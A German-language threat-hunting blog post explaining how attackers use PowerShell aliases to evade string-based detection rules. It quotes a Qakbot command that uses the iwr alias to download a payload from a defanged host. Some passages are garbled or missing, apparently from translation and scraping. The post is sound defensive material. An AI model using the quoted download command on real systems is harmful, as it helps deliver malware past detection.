Bedrohungssuche und PowerShell-Aliase

Feb 21 2023
In diesem Artikel werde ich diskutieren, was Powershell-Aliase sind und warum es wichtig ist, sie bei der Durchführung von Threat-Hunting-Aktivitäten oder der Erstellung von Erkennungsregeln im Hinterkopf zu behalten. Was ist ein Alias? Wie der Name schon sagt, ist ein Alias ​​ein alternativer Name für ein PowerShell-Cmdlet oder einen PowerShell-Befehl.

In diesem Artikel werde ich diskutieren, was Powershell-Aliase sind und warum es wichtig ist, sie bei der Durchführung von Threat-Hunting-Aktivitäten oder der Erstellung von Erkennungsregeln im Hinterkopf zu behalten.

Was ist ein Alias?

Wie der Name schon sagt, ist ein Alias ​​ein alternativer Name für ein PowerShell-Cmdlet oder einen PowerShell-Befehl. Sobald der Alias ​​erstellt wurde, können Sie ihn anstelle des ursprünglichen Befehls verwenden.

PS > New-Alias -Name goto -Value Set-Location

Das Cmdlet Set-Locationwird zum Ändern des Verzeichnisses des aktuellen Ordners verwendet. Nachdem wir den obigen Befehl ausgeführt haben, können wir das Verzeichnis einfach mit dem gotoBefehl wechseln.

Nachdem wir nun wissen, was Aliase sind und wie sie funktionieren, wollen wir uns mit spannenderen Dingen befassen.

Integrierte Aliase

In Powershell gibt es bereits integrierte Aliase, die Sie wahrscheinlich verwendet haben, ohne überhaupt zu wissen, dass es sich tatsächlich um einen Alias ​​handelt, zum Beispiel:

  • curlcommand ist ein integrierter Alias ​​fürInvoke-WebRequest
  • cdDer Befehl (Verzeichnis ändern) ist ein integrierter Alias ​​fürSet-Location

#Show aliases for a particular cmdlet
 PS > Get-Alias -Definition Start-Process

 #List all the the cmdlets that have built-in aliases
 PS > Get-Alias

      
                
built-in aliases for starting a process
List of all cmdlets and its associated alias

Angreifer können dies als Verteidigungs-Umgehungstechnik gegen stringbasierte Erkennungsregeln nutzen.

In einem aktuellen Qakbot-Beispiel, das von @ pr0xylife geteilt wurde , war die Infektionskette – .one > .wsf > .cmd > ps > .dll – und der ausgeführte Powershell-Befehl verwendete einen der Aliase – iwr – fürInvoke-WebRequest

poweRshell.exe -C iwr http://xxxx.]com/images/150223.gif -OutFile rei.dat

Da es eine Reihe unbekannter Aliase gibt, die von TA missbraucht werden könnten, habe ich einen kleinen Spickzettel mit einigen der interessantesten erstellt:

Start-ProcessUnd schließlich wird die Befehlsverwendung so sapsin den Sysmon-Ereignisprotokollen angezeigt. Wir können bestätigen, dass der Alias ​​nicht in sein ursprüngliches Cmdlet „übersetzt“ wird.

Es ist durchaus üblich, eine Regel zum Erkennen einer bestimmten Powershell-Cmdlet-Zeichenfolge zu entwickeln, ohne alle integrierten Aliase einzubeziehen, was zu einer unentdeckten Bedrohung führen könnte.

Ich hoffe, Sie haben aus diesem Blog etwas gelernt.

Vielen Dank fürs Lesen und viel Spaß beim Jagen!